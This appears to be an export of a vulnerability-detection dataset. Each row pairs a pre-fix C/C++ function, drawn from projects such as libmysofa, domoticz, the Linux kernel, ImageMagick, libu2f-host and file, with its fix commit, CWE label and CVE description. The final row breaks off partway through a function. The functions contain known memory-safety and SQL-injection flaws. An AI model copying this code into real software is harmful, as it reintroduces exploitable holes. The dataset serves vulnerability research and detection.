idx int64 | project string | commit_id string | project_url string | commit_url string | commit_message string | target int64 | func string | func_hash float64 | file_name string | file_hash float64 | cwe list | cve string | cve_desc string | nvd_url string |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4,081 | libmysofa | d39a171e9c6a1c44dbdf43f9db6c3fbd887e38c1 | https://github.com/hoene/libmysofa | https://github.com/hoene/libmysofa/commit/d39a171e9c6a1c44dbdf43f9db6c3fbd887e38c1 | Fixed security issue 1 | 1 | int treeRead(struct READER *reader, struct DATAOBJECT *data) {
int i, j, err, olen, elements, size, x, y, z, b, e, dy, dz, sx, sy, sz, dzy,
szy;
char *input, *output;
uint8_t node_type, node_level;
uint16_t entries_used;
uint32_t size_of_chunk;
uint32_t filter_mask;
uint64_t address_of_left_sibling, address_of_right_sibling, start[4],
child_pointer, key, store;
char buf[4];
UNUSED(node_level);
UNUSED(address_of_right_sibling);
UNUSED(address_of_left_sibling);
UNUSED(key);
if (data->ds.dimensionality > 3) {
log("TREE dimensions > 3");
return MYSOFA_INVALID_FORMAT;
}
/* read signature */
if (fread(buf, 1, 4, reader->fhd) != 4 || strncmp(buf, "TREE", 4)) {
log("cannot read signature of TREE\n");
return MYSOFA_INVALID_FORMAT;
} log("%08lX %.4s\n", (uint64_t )ftell(reader->fhd) - 4, buf);
node_type = (uint8_t)fgetc(reader->fhd);
node_level = (uint8_t)fgetc(reader->fhd);
entries_used = (uint16_t)readValue(reader, 2);
if(entries_used>0x1000)
return MYSOFA_UNSUPPORTED_FORMAT;
address_of_left_sibling = readValue(reader,
reader->superblock.size_of_offsets);
address_of_right_sibling = readValue(reader,
reader->superblock.size_of_offsets);
elements = 1;
for (j = 0; j < data->ds.dimensionality; j++)
elements *= data->datalayout_chunk[j];
dy = data->datalayout_chunk[1];
dz = data->datalayout_chunk[2];
sx = data->ds.dimension_size[0];
sy = data->ds.dimension_size[1];
sz = data->ds.dimension_size[2];
dzy = dz * dy;
szy = sz * sy;
size = data->datalayout_chunk[data->ds.dimensionality];
log("elements %d size %d\n",elements,size);
if (!(output = malloc(elements * size))) {
return MYSOFA_NO_MEMORY;
}
for (e = 0; e < entries_used * 2; e++) {
if (node_type == 0) {
key = readValue(reader, reader->superblock.size_of_lengths);
} else {
size_of_chunk = (uint32_t)readValue(reader, 4);
filter_mask = (uint32_t)readValue(reader, 4);
if (filter_mask) {
log("TREE all filters must be enabled\n");
free(output);
return MYSOFA_INVALID_FORMAT;
}
for (j = 0; j < data->ds.dimensionality; j++) {
start[j] = readValue(reader, 8);
log("start %d %lu\n",j,start[j]);
}
if (readValue(reader, 8)) {
break;
}
child_pointer = readValue(reader,
reader->superblock.size_of_offsets);
log(" data at %lX len %u\n", child_pointer, size_of_chunk);
/* read data */
store = ftell(reader->fhd);
if (fseek(reader->fhd, child_pointer, SEEK_SET)<0) {
free(output);
return errno;
}
if (!(input = malloc(size_of_chunk))) {
free(output);
return MYSOFA_NO_MEMORY;
}
if (fread(input, 1, size_of_chunk, reader->fhd) != size_of_chunk) {
free(output);
free(input);
return MYSOFA_INVALID_FORMAT;
}
olen = elements * size;
err = gunzip(size_of_chunk, input, &olen, output);
free(input);
log(" gunzip %d %d %d\n",err, olen, elements*size);
if (err || olen != elements * size) {
free(output);
return MYSOFA_INVALID_FORMAT;
}
switch (data->ds.dimensionality) {
case 1:
for (i = 0; i < olen; i++) {
b = i / elements;
x = i % elements + start[0];
if (x < sx) {
j = x * size + b;
((char*)data->data)[j] = output[i];
}
}
break;
case 2:
for (i = 0; i < olen; i++) {
b = i / elements;
x = i % elements;
y = x % dy + start[1];
x = x / dy + start[0];
if (y < sy && x < sx) {
j = ((x * sy + y) * size) + b;
((char*)data->data)[j] = output[i];
}
}
break;
case 3:
for (i = 0; i < olen; i++) {
b = i / elements;
x = i % elements;
z = x % dz + start[2];
y = (x / dz) % dy + start[1];
x = (x / dzy) + start[0];
if (z < sz && y < sy && x < sx) {
j = (x * szy + y * sz + z) * size + b;
((char*)data->data)[j] = output[i];
}
}
break;
default:
log("invalid dim\n");
return MYSOFA_INTERNAL_ERROR;
}
if(fseek(reader->fhd, store, SEEK_SET)<0) {
free(output);
return errno;
}
}
}
free(output);
if(fseek(reader->fhd, 4, SEEK_CUR)<0) /* skip checksum */
return errno;
return MYSOFA_OK;
}
| 20,763,822,898,396,646,000,000,000,000,000,000,000 | btree.c | 57,865,174,352,816,090,000,000,000,000,000,000,000 | [
"CWE-20"
] | CVE-2019-10672 | treeRead in hdf/btree.c in libmysofa before 0.7 does not properly validate multiplications and additions. | https://nvd.nist.gov/vuln/detail/CVE-2019-10672 |
4,082 | domoticz | ee70db46f81afa582c96b887b73bcd2a86feda00 | https://github.com/domoticz/domoticz | https://github.com/domoticz/domoticz/commit/ee70db46f81afa582c96b887b73bcd2a86feda00 | Fixed possible SQL Injection Vulnerability (Thanks to Fabio Carretto!) | 1 | void CWebServer::GetFloorplanImage(WebEmSession & session, const request& req, reply & rep)
{
std::string idx = request::findValue(&req, "idx");
if (idx == "") {
return;
}
std::vector<std::vector<std::string> > result;
result = m_sql.safe_queryBlob("SELECT Image FROM Floorplans WHERE ID=%s", idx.c_str());
if (result.empty())
return;
reply::set_content(&rep, result[0][0].begin(), result[0][0].end());
std::string oname = "floorplan";
if (result[0][0].size() > 10)
{
if (result[0][0][0] == 'P')
oname += ".png";
else if (result[0][0][0] == -1)
oname += ".jpg";
else if (result[0][0][0] == 'B')
oname += ".bmp";
else if (result[0][0][0] == 'G')
oname += ".gif";
}
reply::add_header_attachment(&rep, oname);
}
| 126,919,339,259,422,660,000,000,000,000,000,000,000 | WebServer.cpp | 148,825,033,982,485,370,000,000,000,000,000,000,000 | [
"CWE-89"
] | CVE-2019-10664 | Domoticz before 4.10578 allows SQL Injection via the idx parameter in CWebServer::GetFloorplanImage in WebServer.cpp. | https://nvd.nist.gov/vuln/detail/CVE-2019-10664 |
4,083 | linux | 355b98553789b646ed97ad801a619ff898471b92 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/355b98553789b646ed97ad801a619ff898471b92 | netns: provide pure entropy for net_hash_mix()
net_hash_mix() currently uses kernel address of a struct net,
and is used in many places that could be used to reveal this
address to a patient attacker, thus defeating KASLR, for
the typical case (initial net namespace, &init_net is
not dynamically allocated)
I believe the original implementation tried to avoid spending
too many cycles in this function, but security comes first.
Also provide entropy regardless of CONFIG_NET_NS.
Fixes: 0b4419162aa6 ("netns: introduce the net_hash_mix "salt" for hashes")
Signed-off-by: Eric Dumazet <edumazet@google.com>
Reported-by: Amit Klein <aksecurity@gmail.com>
Reported-by: Benny Pinkas <benny@pinkas.net>
Cc: Pavel Emelyanov <xemul@openvz.org>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static __net_init int setup_net(struct net *net, struct user_namespace *user_ns)
{
/* Must be called with pernet_ops_rwsem held */
const struct pernet_operations *ops, *saved_ops;
int error = 0;
LIST_HEAD(net_exit_list);
refcount_set(&net->count, 1);
refcount_set(&net->passive, 1);
net->dev_base_seq = 1;
net->user_ns = user_ns;
idr_init(&net->netns_ids);
spin_lock_init(&net->nsid_lock);
mutex_init(&net->ipv4.ra_mutex);
list_for_each_entry(ops, &pernet_list, list) {
error = ops_init(ops, net);
if (error < 0)
goto out_undo;
}
down_write(&net_rwsem);
list_add_tail_rcu(&net->list, &net_namespace_list);
up_write(&net_rwsem);
out:
return error;
out_undo:
/* Walk through the list backwards calling the exit functions
* for the pernet modules whose init functions did not fail.
*/
list_add(&net->exit_list, &net_exit_list);
saved_ops = ops;
list_for_each_entry_continue_reverse(ops, &pernet_list, list)
ops_exit_list(ops, &net_exit_list);
ops = saved_ops;
list_for_each_entry_continue_reverse(ops, &pernet_list, list)
ops_free_list(ops, &net_exit_list);
rcu_barrier();
goto out;
}
| 206,504,535,378,372,680,000,000,000,000,000,000,000 | net_namespace.c | 241,146,489,846,949,000,000,000,000,000,000,000,000 | [
"CWE-200"
] | CVE-2019-10638 | In the Linux kernel before 5.1.7, a device can be tracked by an attacker using the IP ID values the kernel produces for connection-less protocols (e.g., UDP and ICMP). When such traffic is sent to multiple destination IP addresses, it is possible to obtain hash collisions (of indices to the counter array) and thereby obtain the hashing key (via enumeration). An attack may be conducted by hosting a crafted web page that uses WebRTC or gQUIC to force UDP traffic to attacker-controlled IP addresses. | https://nvd.nist.gov/vuln/detail/CVE-2019-10638 |
4,088 | ImageMagick | cb1214c124e1bd61f7dd551b94a794864861592e | https://github.com/ImageMagick/ImageMagick | https://github.com/ImageMagick/ImageMagick/commit/cb1214c124e1bd61f7dd551b94a794864861592e | ... | 1 | static int format8BIM(Image *ifile, Image *ofile)
{
char
temp[MagickPathExtent];
unsigned int
foundOSType;
int
ID,
resCount,
i,
c;
ssize_t
count;
unsigned char
*PString,
*str;
resCount=0;
foundOSType=0; /* found the OSType */
(void) foundOSType;
c=ReadBlobByte(ifile);
while (c != EOF)
{
if (c == '8')
{
unsigned char
buffer[5];
buffer[0]=(unsigned char) c;
for (i=1; i<4; i++)
{
c=ReadBlobByte(ifile);
if (c == EOF)
return(-1);
buffer[i] = (unsigned char) c;
}
buffer[4]=0;
if (strcmp((const char *)buffer, "8BIM") == 0)
foundOSType=1;
else
continue;
}
else
{
c=ReadBlobByte(ifile);
continue;
}
/*
We found the OSType (8BIM) and now grab the ID, PString, and Size fields.
*/
ID=ReadBlobMSBSignedShort(ifile);
if (ID < 0)
return(-1);
{
unsigned char
plen;
c=ReadBlobByte(ifile);
if (c == EOF)
return(-1);
plen = (unsigned char) c;
PString=(unsigned char *) AcquireQuantumMemory((size_t) (plen+
MagickPathExtent),sizeof(*PString));
if (PString == (unsigned char *) NULL)
return 0;
for (i=0; i<plen; i++)
{
c=ReadBlobByte(ifile);
if (c == EOF)
{
PString=(unsigned char *) RelinquishMagickMemory(PString);
return -1;
}
PString[i] = (unsigned char) c;
}
PString[ plen ] = 0;
if ((plen & 0x01) == 0)
{
c=ReadBlobByte(ifile);
if (c == EOF)
{
PString=(unsigned char *) RelinquishMagickMemory(PString);
return -1;
}
}
}
count=(ssize_t) ReadBlobMSBSignedLong(ifile);
if ((count < 0) || (count > GetBlobSize(ifile)))
{
PString=(unsigned char *) RelinquishMagickMemory(PString);
return -1;
}
/* make a buffer to hold the data and snag it from the input stream */
str=(unsigned char *) AcquireQuantumMemory((size_t) count,sizeof(*str));
if (str == (unsigned char *) NULL)
{
PString=(unsigned char *) RelinquishMagickMemory(PString);
return 0;
}
for (i=0; i < (ssize_t) count; i++)
{
c=ReadBlobByte(ifile);
if (c == EOF)
{
str=(unsigned char *) RelinquishMagickMemory(str);
PString=(unsigned char *) RelinquishMagickMemory(PString);
return -1;
}
str[i]=(unsigned char) c;
}
/* we currently skip thumbnails, since it does not make
* any sense preserving them in a real world application
*/
if (ID != THUMBNAIL_ID)
{
/* now finish up by formatting this binary data into
* ASCII equivalent
*/
if (strlen((const char *)PString) > 0)
(void) FormatLocaleString(temp,MagickPathExtent,"8BIM#%d#%s=",ID,
PString);
else
(void) FormatLocaleString(temp,MagickPathExtent,"8BIM#%d=",ID);
(void) WriteBlobString(ofile,temp);
if (ID == IPTC_ID)
{
formatString(ofile, "IPTC", 4);
formatIPTCfromBuffer(ofile, (char *)str, (ssize_t) count);
}
else
formatString(ofile, (char *)str, (ssize_t) count);
}
str=(unsigned char *) RelinquishMagickMemory(str);
PString=(unsigned char *) RelinquishMagickMemory(PString);
resCount++;
c=ReadBlobByte(ifile);
}
return resCount;
}
| 166,827,350,039,151,750,000,000,000,000,000,000,000 | meta.c | 231,438,544,697,155,060,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2019-10131 | An off-by-one read vulnerability was discovered in ImageMagick before version 7.0.7-28 in the formatIPTCfromBuffer function in coders/meta.c. A local attacker may use this flaw to read beyond the end of the buffer or to crash the program. | https://nvd.nist.gov/vuln/detail/CVE-2019-10131 |
4,089 | libu2f-host | e4bb58cc8b6202a421e65f8230217d8ae6e16eb5 | https://github.com/Yubico/libu2f-host | https://github.com/Yubico/libu2f-host/commit/e4bb58cc8b6202a421e65f8230217d8ae6e16eb5 | fix filling out of initresp | 1 | init_device (u2fh_devs * devs, struct u2fdevice *dev)
{
unsigned char resp[1024];
unsigned char nonce[8];
if (obtain_nonce(nonce) != 0)
{
return U2FH_TRANSPORT_ERROR;
}
size_t resplen = sizeof (resp);
dev->cid = CID_BROADCAST;
if (u2fh_sendrecv
(devs, dev->id, U2FHID_INIT, nonce, sizeof (nonce), resp,
&resplen) == U2FH_OK)
{
U2FHID_INIT_RESP initresp;
if (resplen > sizeof (initresp))
{
return U2FH_MEMORY_ERROR;
}
memcpy (&initresp, resp, resplen);
dev->cid = initresp.cid;
dev->versionInterface = initresp.versionInterface;
dev->versionMajor = initresp.versionMajor;
dev->versionMinor = initresp.versionMinor;
dev->capFlags = initresp.capFlags;
}
else
{
return U2FH_TRANSPORT_ERROR;
}
return U2FH_OK;
}
| 68,338,259,853,873,010,000,000,000,000,000,000,000 | None | null | [
"CWE-119"
] | CVE-2019-9578 | In devs.c in Yubico libu2f-host before 1.1.8, the response to init is misparsed, leaking uninitialized stack memory back to the device. | https://nvd.nist.gov/vuln/detail/CVE-2019-9578 |
4,090 | linux | 0a1d52994d440e21def1c2174932410b4f2a98a1 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/0a1d52994d440e21def1c2174932410b4f2a98a1 | mm: enforce min addr even if capable() in expand_downwards()
security_mmap_addr() does a capability check with current_cred(), but
we can reach this code from contexts like a VFS write handler where
current_cred() must not be used.
This can be abused on systems without SMAP to make NULL pointer
dereferences exploitable again.
Fixes: 8869477a49c3 ("security: protect from stack expansion into low vm addresses")
Cc: stable@kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> | 1 | int expand_downwards(struct vm_area_struct *vma,
unsigned long address)
{
struct mm_struct *mm = vma->vm_mm;
struct vm_area_struct *prev;
int error;
address &= PAGE_MASK;
error = security_mmap_addr(address);
if (error)
return error;
/* Enforce stack_guard_gap */
prev = vma->vm_prev;
/* Check that both stack segments have the same anon_vma? */
if (prev && !(prev->vm_flags & VM_GROWSDOWN) &&
(prev->vm_flags & (VM_WRITE|VM_READ|VM_EXEC))) {
if (address - prev->vm_end < stack_guard_gap)
return -ENOMEM;
}
/* We must make sure the anon_vma is allocated. */
if (unlikely(anon_vma_prepare(vma)))
return -ENOMEM;
/*
* vma->vm_start/vm_end cannot change under us because the caller
* is required to hold the mmap_sem in read mode. We need the
* anon_vma lock to serialize against concurrent expand_stacks.
*/
anon_vma_lock_write(vma->anon_vma);
/* Somebody else might have raced and expanded it already */
if (address < vma->vm_start) {
unsigned long size, grow;
size = vma->vm_end - address;
grow = (vma->vm_start - address) >> PAGE_SHIFT;
error = -ENOMEM;
if (grow <= vma->vm_pgoff) {
error = acct_stack_growth(vma, size, grow);
if (!error) {
/*
* vma_gap_update() doesn't support concurrent
* updates, but we only hold a shared mmap_sem
* lock here, so we need to protect against
* concurrent vma expansions.
* anon_vma_lock_write() doesn't help here, as
* we don't guarantee that all growable vmas
* in a mm share the same root anon vma.
* So, we reuse mm->page_table_lock to guard
* against concurrent vma expansions.
*/
spin_lock(&mm->page_table_lock);
if (vma->vm_flags & VM_LOCKED)
mm->locked_vm += grow;
vm_stat_account(mm, vma->vm_flags, grow);
anon_vma_interval_tree_pre_update_vma(vma);
vma->vm_start = address;
vma->vm_pgoff -= grow;
anon_vma_interval_tree_post_update_vma(vma);
vma_gap_update(vma);
spin_unlock(&mm->page_table_lock);
perf_event_mmap(vma);
}
}
}
anon_vma_unlock_write(vma->anon_vma);
khugepaged_enter_vma_merge(vma, vma->vm_flags);
validate_mm(mm);
return error;
}
| 170,619,667,088,948,030,000,000,000,000,000,000,000 | mmap.c | 222,211,593,782,797,660,000,000,000,000,000,000,000 | [
"CWE-476"
] | CVE-2019-9213 | In the Linux kernel before 4.20.14, expand_downwards in mm/mmap.c lacks a check for the mmap minimum address, which makes it easier for attackers to exploit kernel NULL pointer dereferences on non-SMAP platforms. This is related to a capability check for the wrong task. | https://nvd.nist.gov/vuln/detail/CVE-2019-9213 |
4,091 | linux | c4c07b4d6fa1f11880eab8e076d3d060ef3f55fc | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/c4c07b4d6fa1f11880eab8e076d3d060ef3f55fc | netfilter: nf_nat_snmp_basic: add missing length checks in ASN.1 cbs
The generic ASN.1 decoder infrastructure doesn't guarantee that callbacks
will get as much data as they expect; callbacks have to check the `datalen`
parameter before looking at `data`. Make sure that snmp_version() and
snmp_helper() don't read/write beyond the end of the packet data.
(Also move the assignment to `pdata` down below the check to make it clear
that it isn't necessarily a pointer we can use before the `datalen` check.)
Fixes: cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library")
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> | 1 | int snmp_helper(void *context, size_t hdrlen, unsigned char tag,
const void *data, size_t datalen)
{
struct snmp_ctx *ctx = (struct snmp_ctx *)context;
__be32 *pdata = (__be32 *)data;
if (*pdata == ctx->from) {
pr_debug("%s: %pI4 to %pI4\n", __func__,
(void *)&ctx->from, (void *)&ctx->to);
if (*ctx->check)
fast_csum(ctx, (unsigned char *)data - ctx->begin);
*pdata = ctx->to;
}
return 1;
}
| 105,977,845,795,719,550,000,000,000,000,000,000,000 | nf_nat_snmp_basic_main.c | 170,342,232,582,282,240,000,000,000,000,000,000,000 | [
"CWE-129"
] | CVE-2019-9162 | In the Linux kernel before 4.20.12, net/ipv4/netfilter/nf_nat_snmp_basic_main.c in the SNMP NAT module has insufficient ASN.1 length checks (aka an array index error), making out-of-bounds read and write operations possible, leading to an OOPS or local privilege escalation. This affects snmp_version and snmp_helper. | https://nvd.nist.gov/vuln/detail/CVE-2019-9162 |
4,092 | linux | c4c07b4d6fa1f11880eab8e076d3d060ef3f55fc | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/c4c07b4d6fa1f11880eab8e076d3d060ef3f55fc | netfilter: nf_nat_snmp_basic: add missing length checks in ASN.1 cbs
The generic ASN.1 decoder infrastructure doesn't guarantee that callbacks
will get as much data as they expect; callbacks have to check the `datalen`
parameter before looking at `data`. Make sure that snmp_version() and
snmp_helper() don't read/write beyond the end of the packet data.
(Also move the assignment to `pdata` down below the check to make it clear
that it isn't necessarily a pointer we can use before the `datalen` check.)
Fixes: cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library")
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> | 1 | int snmp_version(void *context, size_t hdrlen, unsigned char tag,
const void *data, size_t datalen)
{
if (*(unsigned char *)data > 1)
return -ENOTSUPP;
return 1;
}
| 198,796,159,557,597,100,000,000,000,000,000,000,000 | nf_nat_snmp_basic_main.c | 170,342,232,582,282,240,000,000,000,000,000,000,000 | [
"CWE-129"
] | CVE-2019-9162 | In the Linux kernel before 4.20.12, net/ipv4/netfilter/nf_nat_snmp_basic_main.c in the SNMP NAT module has insufficient ASN.1 length checks (aka an array index error), making out-of-bounds read and write operations possible, leading to an OOPS or local privilege escalation. This affects snmp_version and snmp_helper. | https://nvd.nist.gov/vuln/detail/CVE-2019-9162 |
4,095 | file | 2858eaf99f6cc5aae129bcbf1e24ad160240185f | https://github.com/file/file | https://github.com/file/file/commit/2858eaf99f6cc5aae129bcbf1e24ad160240185f | Avoid OOB read (found by ASAN reported by F. Alonso) | 1 | do_core_note(struct magic_set *ms, unsigned char *nbuf, uint32_t type,
int swap, uint32_t namesz, uint32_t descsz,
size_t noff, size_t doff, int *flags, size_t size, int clazz)
{
#ifdef ELFCORE
int os_style = -1;
/*
* Sigh. The 2.0.36 kernel in Debian 2.1, at
* least, doesn't correctly implement name
* sections, in core dumps, as specified by
* the "Program Linking" section of "UNIX(R) System
* V Release 4 Programmer's Guide: ANSI C and
* Programming Support Tools", because my copy
* clearly says "The first 'namesz' bytes in 'name'
* contain a *null-terminated* [emphasis mine]
* character representation of the entry's owner
* or originator", but the 2.0.36 kernel code
* doesn't include the terminating null in the
* name....
*/
if ((namesz == 4 && strncmp((char *)&nbuf[noff], "CORE", 4) == 0) ||
(namesz == 5 && strcmp((char *)&nbuf[noff], "CORE") == 0)) {
os_style = OS_STYLE_SVR4;
}
if ((namesz == 8 && strcmp((char *)&nbuf[noff], "FreeBSD") == 0)) {
os_style = OS_STYLE_FREEBSD;
}
if ((namesz >= 11 && strncmp((char *)&nbuf[noff], "NetBSD-CORE", 11)
== 0)) {
os_style = OS_STYLE_NETBSD;
}
if (os_style != -1 && (*flags & FLAGS_DID_CORE_STYLE) == 0) {
if (file_printf(ms, ", %s-style", os_style_names[os_style])
== -1)
return 1;
*flags |= FLAGS_DID_CORE_STYLE;
*flags |= os_style;
}
switch (os_style) {
case OS_STYLE_NETBSD:
if (type == NT_NETBSD_CORE_PROCINFO) {
char sbuf[512];
struct NetBSD_elfcore_procinfo pi;
memset(&pi, 0, sizeof(pi));
memcpy(&pi, nbuf + doff, descsz);
if (file_printf(ms, ", from '%.31s', pid=%u, uid=%u, "
"gid=%u, nlwps=%u, lwp=%u (signal %u/code %u)",
file_printable(sbuf, sizeof(sbuf),
RCAST(char *, pi.cpi_name)),
elf_getu32(swap, (uint32_t)pi.cpi_pid),
elf_getu32(swap, pi.cpi_euid),
elf_getu32(swap, pi.cpi_egid),
elf_getu32(swap, pi.cpi_nlwps),
elf_getu32(swap, (uint32_t)pi.cpi_siglwp),
elf_getu32(swap, pi.cpi_signo),
elf_getu32(swap, pi.cpi_sigcode)) == -1)
return 1;
*flags |= FLAGS_DID_CORE;
return 1;
}
break;
case OS_STYLE_FREEBSD:
if (type == NT_PRPSINFO && *flags & FLAGS_IS_CORE) {
size_t argoff, pidoff;
if (clazz == ELFCLASS32)
argoff = 4 + 4 + 17;
else
argoff = 4 + 4 + 8 + 17;
if (file_printf(ms, ", from '%.80s'", nbuf + doff +
argoff) == -1)
return 1;
pidoff = argoff + 81 + 2;
if (doff + pidoff + 4 <= size) {
if (file_printf(ms, ", pid=%u",
elf_getu32(swap, *RCAST(uint32_t *, (nbuf +
doff + pidoff)))) == -1)
return 1;
}
*flags |= FLAGS_DID_CORE;
}
break;
default:
if (type == NT_PRPSINFO && *flags & FLAGS_IS_CORE) {
size_t i, j;
unsigned char c;
/*
* Extract the program name. We assume
* it to be 16 characters (that's what it
* is in SunOS 5.x and Linux).
*
* Unfortunately, it's at a different offset
* in various OSes, so try multiple offsets.
* If the characters aren't all printable,
* reject it.
*/
for (i = 0; i < NOFFSETS; i++) {
unsigned char *cname, *cp;
size_t reloffset = prpsoffsets(i);
size_t noffset = doff + reloffset;
size_t k;
for (j = 0; j < 16; j++, noffset++,
reloffset++) {
/*
* Make sure we're not past
* the end of the buffer; if
* we are, just give up.
*/
if (noffset >= size)
goto tryanother;
/*
* Make sure we're not past
* the end of the contents;
* if we are, this obviously
* isn't the right offset.
*/
if (reloffset >= descsz)
goto tryanother;
c = nbuf[noffset];
if (c == '\0') {
/*
* A '\0' at the
* beginning is
* obviously wrong.
* Any other '\0'
* means we're done.
*/
if (j == 0)
goto tryanother;
else
break;
} else {
/*
* A nonprintable
* character is also
* wrong.
*/
if (!isprint(c) || isquote(c))
goto tryanother;
}
}
/*
* Well, that worked.
*/
/*
* Try next offsets, in case this match is
* in the middle of a string.
*/
for (k = i + 1 ; k < NOFFSETS; k++) {
size_t no;
int adjust = 1;
if (prpsoffsets(k) >= prpsoffsets(i))
continue;
for (no = doff + prpsoffsets(k);
no < doff + prpsoffsets(i); no++)
adjust = adjust
&& isprint(nbuf[no]);
if (adjust)
i = k;
}
cname = (unsigned char *)
&nbuf[doff + prpsoffsets(i)];
for (cp = cname; cp < nbuf + size && *cp
&& isprint(*cp); cp++)
continue;
/*
* Linux apparently appends a space at the end
* of the command line: remove it.
*/
while (cp > cname && isspace(cp[-1]))
cp--;
if (file_printf(ms, ", from '%.*s'",
(int)(cp - cname), cname) == -1)
return 1;
*flags |= FLAGS_DID_CORE;
return 1;
tryanother:
;
}
}
break;
}
#endif
return 0;
}
| 251,178,396,706,421,600,000,000,000,000,000,000,000 | readelf.c | 30,801,224,004,046,760,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2019-8906 | do_core_note in readelf.c in libmagic.a in file 5.35 has an out-of-bounds read because memcpy is misused. | https://nvd.nist.gov/vuln/detail/CVE-2019-8906 |
4,096 | ImageMagick | 306c1f0fa5754ca78efd16ab752f0e981d4f6b82 | https://github.com/ImageMagick/ImageMagick | https://github.com/ImageMagick/ImageMagick/commit/306c1f0fa5754ca78efd16ab752f0e981d4f6b82 | https://github.com/ImageMagick/ImageMagick/issues/1454 | 1 | static MagickBooleanType WritePDFImage(const ImageInfo *image_info,Image *image,
ExceptionInfo *exception)
{
#define CFormat "/Filter [ /%s ]\n"
#define ObjectsPerImage 14
#define ThrowPDFException(exception,message) \
{ \
if (xref != (MagickOffsetType *) NULL) \
xref=(MagickOffsetType *) RelinquishMagickMemory(xref); \
ThrowWriterException((exception),(message)); \
}
DisableMSCWarning(4310)
static const char
XMPProfile[]=
{
"<?xpacket begin=\"%s\" id=\"W5M0MpCehiHzreSzNTczkc9d\"?>\n"
"<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"Adobe XMP Core 4.0-c316 44.253921, Sun Oct 01 2006 17:08:23\">\n"
" <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n"
" <rdf:Description rdf:about=\"\"\n"
" xmlns:xap=\"http://ns.adobe.com/xap/1.0/\">\n"
" <xap:ModifyDate>%s</xap:ModifyDate>\n"
" <xap:CreateDate>%s</xap:CreateDate>\n"
" <xap:MetadataDate>%s</xap:MetadataDate>\n"
" <xap:CreatorTool>%s</xap:CreatorTool>\n"
" </rdf:Description>\n"
" <rdf:Description rdf:about=\"\"\n"
" xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n"
" <dc:format>application/pdf</dc:format>\n"
" <dc:title>\n"
" <rdf:Alt>\n"
" <rdf:li xml:lang=\"x-default\">%s</rdf:li>\n"
" </rdf:Alt>\n"
" </dc:title>\n"
" </rdf:Description>\n"
" <rdf:Description rdf:about=\"\"\n"
" xmlns:xapMM=\"http://ns.adobe.com/xap/1.0/mm/\">\n"
" <xapMM:DocumentID>uuid:6ec119d7-7982-4f56-808d-dfe64f5b35cf</xapMM:DocumentID>\n"
" <xapMM:InstanceID>uuid:a79b99b4-6235-447f-9f6c-ec18ef7555cb</xapMM:InstanceID>\n"
" </rdf:Description>\n"
" <rdf:Description rdf:about=\"\"\n"
" xmlns:pdf=\"http://ns.adobe.com/pdf/1.3/\">\n"
" <pdf:Producer>%s</pdf:Producer>\n"
" </rdf:Description>\n"
" <rdf:Description rdf:about=\"\"\n"
" xmlns:pdfaid=\"http://www.aiim.org/pdfa/ns/id/\">\n"
" <pdfaid:part>3</pdfaid:part>\n"
" <pdfaid:conformance>B</pdfaid:conformance>\n"
" </rdf:Description>\n"
" </rdf:RDF>\n"
"</x:xmpmeta>\n"
"<?xpacket end=\"w\"?>\n"
},
XMPProfileMagick[4]= { (char) 0xef, (char) 0xbb, (char) 0xbf, (char) 0x00 };
RestoreMSCWarning
char
basename[MagickPathExtent],
buffer[MagickPathExtent],
*escape,
date[MagickPathExtent],
**labels,
page_geometry[MagickPathExtent],
*url;
CompressionType
compression;
const char
*device,
*option,
*value;
const StringInfo
*profile;
double
pointsize;
GeometryInfo
geometry_info;
Image
*next,
*tile_image;
MagickBooleanType
status;
MagickOffsetType
offset,
scene,
*xref;
MagickSizeType
number_pixels;
MagickStatusType
flags;
PointInfo
delta,
resolution,
scale;
RectangleInfo
geometry,
media_info,
page_info;
register const Quantum
*p;
register unsigned char
*q;
register ssize_t
i,
x;
size_t
channels,
imageListLength,
info_id,
length,
object,
pages_id,
root_id,
text_size,
version;
ssize_t
count,
page_count,
y;
struct tm
local_time;
time_t
seconds;
unsigned char
*pixels;
/*
Open output image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickCoreSignature);
status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);
if (status == MagickFalse)
return(status);
/*
Allocate X ref memory.
*/
xref=(MagickOffsetType *) AcquireQuantumMemory(2048UL,sizeof(*xref));
if (xref == (MagickOffsetType *) NULL)
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
(void) memset(xref,0,2048UL*sizeof(*xref));
/*
Write Info object.
*/
object=0;
version=3;
if (image_info->compression == JPEG2000Compression)
version=(size_t) MagickMax(version,5);
for (next=image; next != (Image *) NULL; next=GetNextImageInList(next))
if (next->alpha_trait != UndefinedPixelTrait)
version=(size_t) MagickMax(version,4);
if (LocaleCompare(image_info->magick,"PDFA") == 0)
version=(size_t) MagickMax(version,6);
profile=GetImageProfile(image,"icc");
if (profile != (StringInfo *) NULL)
version=(size_t) MagickMax(version,7);
(void) FormatLocaleString(buffer,MagickPathExtent,"%%PDF-1.%.20g \n",(double)
version);
(void) WriteBlobString(image,buffer);
if (LocaleCompare(image_info->magick,"PDFA") == 0)
{
(void) WriteBlobByte(image,'%');
(void) WriteBlobByte(image,0xe2);
(void) WriteBlobByte(image,0xe3);
(void) WriteBlobByte(image,0xcf);
